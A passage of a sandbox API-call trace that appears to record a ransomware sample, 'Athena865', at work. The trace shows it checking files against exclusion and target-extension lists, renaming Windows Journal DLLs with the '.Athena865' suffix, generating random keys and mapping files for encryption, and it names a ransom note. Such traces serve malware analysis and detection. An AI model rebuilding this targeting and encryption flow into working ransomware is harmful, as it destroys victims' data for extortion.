lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0039.535] lstrlenW (lpString="te") returned 2 [0039.535] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0039.535] lstrlenW (lpString="teacher") returned 7 [0039.535] lstrcmpiW (lpString1="Doc.DLL", lpString2="teacher") returned -1 [0039.535] lstrlenW (lpString="tmd") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0039.535] lstrlenW (lpString="tps") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0039.535] lstrlenW (lpString="trc") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0039.535] lstrlenW (lpString="trc") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0039.535] lstrlenW (lpString="trm") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0039.535] lstrlenW (lpString="udb") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0039.535] lstrlenW (lpString="udl") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0039.535] lstrlenW (lpString="usr") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0039.535] lstrlenW (lpString="v12") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0039.535] lstrlenW (lpString="vis") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0039.535] lstrlenW (lpString="vpd") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0039.535] lstrlenW (lpString="vvv") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0039.535] lstrlenW (lpString="wdb") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0039.535] lstrlenW (lpString="wmdb") returned 4 [0039.535] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0039.535] lstrlenW (lpString="wrk") returned 3 [0039.535] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0039.535] lstrlenW (lpString="xdb") returned 3 [0039.536] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0039.536] lstrlenW (lpString="xld") returned 3 [0039.536] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0039.536] lstrlenW (lpString="xmlff") returned 5 [0039.536] lstrcmpiW (lpString1="c.DLL", lpString2="xmlff") returned -1 [0039.536] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\NBDoc.DLL.Athena865") returned 52 [0039.536] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\NBDoc.DLL" (normalized: "c:\\program files\\windows journal\\nbdoc.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\NBDoc.DLL.Athena865" (normalized: "c:\\program files\\windows journal\\nbdoc.dll.athena865"), dwFlags=0x1) returned 1 [0039.537] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\NBDoc.DLL.Athena865" (normalized: "c:\\program files\\windows journal\\nbdoc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.537] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1732096) returned 1 [0039.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.538] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.538] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.538] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.539] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a7100, lpName=0x0) returned 0x154 [0039.540] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a7100) returned 0x2d50000 [0039.631] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.631] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.631] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.632] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.632] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.632] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0039.647] CloseHandle (hObject=0x154) returned 1 [0039.647] CloseHandle (hObject=0x17c) returned 1 [0039.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.686] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743456ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x743456ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NBMapTIP.dll", cAlternateFileName="")) returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".") returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="..") returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="windows") returned -1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="bootmgr") returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="temp") returned -1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="pagefile.sys") returned -1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="boot") returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="ids.txt") returned 1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="ntuser.dat") returned -1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="perflogs") returned -1 [0039.686] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2="MSBuild") returned 1 [0039.686] lstrlenW (lpString="NBMapTIP.dll") returned 12 [0039.686] lstrcpyW (in: lpString1=0x241e88a, lpString2="NBMapTIP.dll" | out: lpString1="NBMapTIP.dll") returned="NBMapTIP.dll" [0039.686] lstrlenW (lpString="NBMapTIP.dll") returned 12 [0039.686] lstrlenW (lpString="Athena865") returned 9 [0039.686] lstrcmpiW (lpString1="apTIP.dll", lpString2="Athena865") returned -1 [0039.686] lstrlenW (lpString=".dll") returned 4 [0039.687] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".dll") returned 1 [0039.687] lstrlenW (lpString=".lnk") returned 4 [0039.687] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".lnk") returned 1 [0039.687] lstrlenW (lpString=".ini") returned 4 [0039.687] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".ini") returned 1 [0039.687] lstrlenW (lpString=".sys") returned 4 [0039.687] lstrcmpiW (lpString1="NBMapTIP.dll", lpString2=".sys") returned 1 [0039.687] lstrlenW (lpString="NBMapTIP.dll") returned 12 [0039.687] lstrlenW (lpString="bak") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0039.687] lstrlenW (lpString="ba_") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0039.687] lstrlenW (lpString="dbb") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0039.687] lstrlenW (lpString="vmdk") returned 4 [0039.687] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0039.687] lstrlenW (lpString="rar") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0039.687] lstrlenW (lpString="zip") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0039.687] lstrlenW (lpString="tgz") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0039.687] lstrlenW (lpString="vbox") returned 4 [0039.687] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0039.687] lstrlenW (lpString="vdi") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0039.687] lstrlenW (lpString="vhd") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0039.687] lstrlenW (lpString="vhdx") returned 4 [0039.687] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0039.687] lstrlenW (lpString="avhd") returned 4 [0039.687] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0039.687] lstrlenW (lpString="db") returned 2 [0039.687] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0039.687] lstrlenW (lpString="db2") returned 3 [0039.687] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0039.688] lstrlenW (lpString="db3") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0039.688] lstrlenW (lpString="dbf") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0039.688] lstrlenW (lpString="mdf") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0039.688] lstrlenW (lpString="mdb") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0039.688] lstrlenW (lpString="sql") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0039.688] lstrlenW (lpString="sqlite") returned 6 [0039.688] lstrcmpiW (lpString1="IP.dll", lpString2="sqlite") returned -1 [0039.688] lstrlenW (lpString="sqlite3") returned 7 [0039.688] lstrcmpiW (lpString1="TIP.dll", lpString2="sqlite3") returned 1 [0039.688] lstrlenW (lpString="sqlitedb") returned 8 [0039.688] lstrcmpiW (lpString1="pTIP.dll", lpString2="sqlitedb") returned -1 [0039.688] lstrlenW (lpString="xml") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0039.688] lstrlenW (lpString="$er") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0039.688] lstrlenW (lpString="4dd") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0039.688] lstrlenW (lpString="4dl") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0039.688] lstrlenW (lpString="^^^") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0039.688] lstrlenW (lpString="abs") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0039.688] lstrlenW (lpString="abx") returned 3 [0039.688] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0039.688] lstrlenW (lpString="accdb") returned 5 [0039.688] lstrcmpiW (lpString1="P.dll", lpString2="accdb") returned 1 [0039.688] lstrlenW (lpString="accdc") returned 5 [0039.688] lstrcmpiW (lpString1="P.dll", lpString2="accdc") returned 1 [0039.689] lstrlenW (lpString="accde") returned 5 [0039.689] lstrcmpiW (lpString1="P.dll", lpString2="accde") returned 1 [0039.689] lstrlenW (lpString="accdr") returned 5 [0039.689] lstrcmpiW (lpString1="P.dll", lpString2="accdr") returned 1 [0039.689] lstrlenW (lpString="accdt") returned 5 [0039.689] lstrcmpiW (lpString1="P.dll", lpString2="accdt") returned 1 [0039.689] lstrlenW (lpString="accdw") returned 5 [0039.689] lstrcmpiW (lpString1="P.dll", lpString2="accdw") returned 1 [0039.689] lstrlenW (lpString="accft") returned 5 [0039.689] lstrcmpiW (lpString1="P.dll", lpString2="accft") returned 1 [0039.689] lstrlenW (lpString="adb") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0039.689] lstrlenW (lpString="adb") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0039.689] lstrlenW (lpString="ade") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0039.689] lstrlenW (lpString="adf") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0039.689] lstrlenW (lpString="adn") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0039.689] lstrlenW (lpString="adp") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0039.689] lstrlenW (lpString="alf") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0039.689] lstrlenW (lpString="ask") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0039.689] lstrlenW (lpString="btr") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0039.689] lstrlenW (lpString="cat") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0039.689] lstrlenW (lpString="cdb") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0039.689] lstrlenW (lpString="ckp") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0039.689] lstrlenW (lpString="cma") returned 3 [0039.689] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0039.690] lstrlenW (lpString="cpd") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0039.690] lstrlenW (lpString="dacpac") returned 6 [0039.690] lstrcmpiW (lpString1="IP.dll", lpString2="dacpac") returned 1 [0039.690] lstrlenW (lpString="dad") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0039.690] lstrlenW (lpString="dadiagrams") returned 10 [0039.690] lstrcmpiW (lpString1="MapTIP.dll", lpString2="dadiagrams") returned 1 [0039.690] lstrlenW (lpString="daschema") returned 8 [0039.690] lstrcmpiW (lpString1="pTIP.dll", lpString2="daschema") returned 1 [0039.690] lstrlenW (lpString="db-journal") returned 10 [0039.690] lstrcmpiW (lpString1="MapTIP.dll", lpString2="db-journal") returned 1 [0039.690] lstrlenW (lpString="db-shm") returned 6 [0039.690] lstrcmpiW (lpString1="IP.dll", lpString2="db-shm") returned 1 [0039.690] lstrlenW (lpString="db-wal") returned 6 [0039.690] lstrcmpiW (lpString1="IP.dll", lpString2="db-wal") returned 1 [0039.690] lstrlenW (lpString="dbc") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0039.690] lstrlenW (lpString="dbs") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0039.690] lstrlenW (lpString="dbt") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0039.690] lstrlenW (lpString="dbv") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0039.690] lstrlenW (lpString="dbx") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0039.690] lstrlenW (lpString="dcb") returned 3 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0039.690] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0039.690] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0039.691] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\NBMapTIP.dll.Athena865") returned 55 [0039.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\NBMapTIP.dll" (normalized: "c:\\program files\\windows journal\\nbmaptip.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\NBMapTIP.dll.Athena865" (normalized: "c:\\program files\\windows journal\\nbmaptip.dll.athena865"), dwFlags=0x1) returned 1 [0039.691] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\NBMapTIP.dll.Athena865" (normalized: "c:\\program files\\windows journal\\nbmaptip.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.691] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=62976) returned 1 [0039.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.692] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.693] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.693] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.693] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf900, lpName=0x0) returned 0x154 [0039.694] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf900) returned 0x100000 [0039.702] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.703] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.703] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.703] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.703] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.704] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0039.704] CloseHandle (hObject=0x154) returned 1 [0039.704] CloseHandle (hObject=0x17c) returned 1 [0039.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.706] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78d0fadc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78d0fadc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xec410110, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PDIALOG.exe", cAlternateFileName="")) returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="..") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="windows") returned -1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="bootmgr") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="temp") returned -1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="pagefile.sys") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="boot") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="ids.txt") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="ntuser.dat") returned 1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="perflogs") returned -1 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2="MSBuild") returned 1 [0039.707] lstrlenW (lpString="PDIALOG.exe") returned 11 [0039.707] lstrcpyW (in: lpString1=0x241e88a, lpString2="PDIALOG.exe" | out: lpString1="PDIALOG.exe") returned="PDIALOG.exe" [0039.707] lstrlenW (lpString="PDIALOG.exe") returned 11 [0039.707] lstrlenW (lpString="Athena865") returned 9 [0039.707] lstrcmpiW (lpString1="IALOG.exe", lpString2="Athena865") returned 1 [0039.707] lstrlenW (lpString=".dll") returned 4 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".dll") returned 1 [0039.707] lstrlenW (lpString=".lnk") returned 4 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".lnk") returned 1 [0039.707] lstrlenW (lpString=".ini") returned 4 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".ini") returned 1 [0039.707] lstrlenW (lpString=".sys") returned 4 [0039.707] lstrcmpiW (lpString1="PDIALOG.exe", lpString2=".sys") returned 1 [0039.707] lstrlenW (lpString="PDIALOG.exe") returned 11 [0039.707] lstrlenW (lpString="bak") returned 3 [0039.707] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0039.707] lstrlenW (lpString="ba_") returned 3 [0039.707] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0039.707] lstrlenW (lpString="dbb") returned 3 [0039.707] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0039.707] lstrlenW (lpString="vmdk") returned 4 [0039.707] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0039.708] lstrlenW (lpString="rar") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0039.708] lstrlenW (lpString="zip") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0039.708] lstrlenW (lpString="tgz") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0039.708] lstrlenW (lpString="vbox") returned 4 [0039.708] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0039.708] lstrlenW (lpString="vdi") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0039.708] lstrlenW (lpString="vhd") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0039.708] lstrlenW (lpString="vhdx") returned 4 [0039.708] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0039.708] lstrlenW (lpString="avhd") returned 4 [0039.708] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0039.708] lstrlenW (lpString="db") returned 2 [0039.708] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0039.708] lstrlenW (lpString="db2") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0039.708] lstrlenW (lpString="db3") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0039.708] lstrlenW (lpString="dbf") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0039.708] lstrlenW (lpString="mdf") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0039.708] lstrlenW (lpString="mdb") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0039.708] lstrlenW (lpString="sql") returned 3 [0039.708] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0039.708] lstrlenW (lpString="sqlite") returned 6 [0039.708] lstrcmpiW (lpString1="OG.exe", lpString2="sqlite") returned -1 [0039.708] lstrlenW (lpString="sqlite3") returned 7 [0039.708] lstrcmpiW (lpString1="LOG.exe", lpString2="sqlite3") returned -1 [0039.708] lstrlenW (lpString="sqlitedb") returned 8 [0039.708] lstrcmpiW (lpString1="ALOG.exe", lpString2="sqlitedb") returned -1 [0039.708] lstrlenW (lpString="xml") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0039.709] lstrlenW (lpString="$er") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0039.709] lstrlenW (lpString="4dd") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0039.709] lstrlenW (lpString="4dl") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0039.709] lstrlenW (lpString="^^^") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0039.709] lstrlenW (lpString="abs") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0039.709] lstrlenW (lpString="abx") returned 3 [0039.709] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0039.709] lstrlenW (lpString="accdb") returned 5 [0039.709] lstrcmpiW (lpString1="G.exe", lpString2="accdb") returned 1 [0039.709] lstrlenW (lpString="accdc") returned 5 [0039.709] lstrcmpiW (lpString1="G.exe", lpString2="accdc") returned 1 [0039.709] lstrlenW (lpString="accde") returned 5 [0039.709] lstrcmpiW (lpString1="G.exe", lpString2="accde") returned 1 [0039.709] lstrlenW (lpString="accdr") returned 5 [0039.709] lstrcmpiW (lpString1="G.exe", lpString2="accdr") returned 1 [0039.709] lstrlenW (lpString="accdt") returned 5 [0039.709] lstrcmpiW (lpString1="G.exe", lpString2="accdt") returned 1 [0039.709] lstrlenW (lpString="accdw") returned 5 [0039.709] lstrcmpiW (lpString1="G.exe", lpString2="accdw") returned 1 [0039.709] lstrlenW (lpString="accft") returned 5 [0039.709] lstrcmpiW 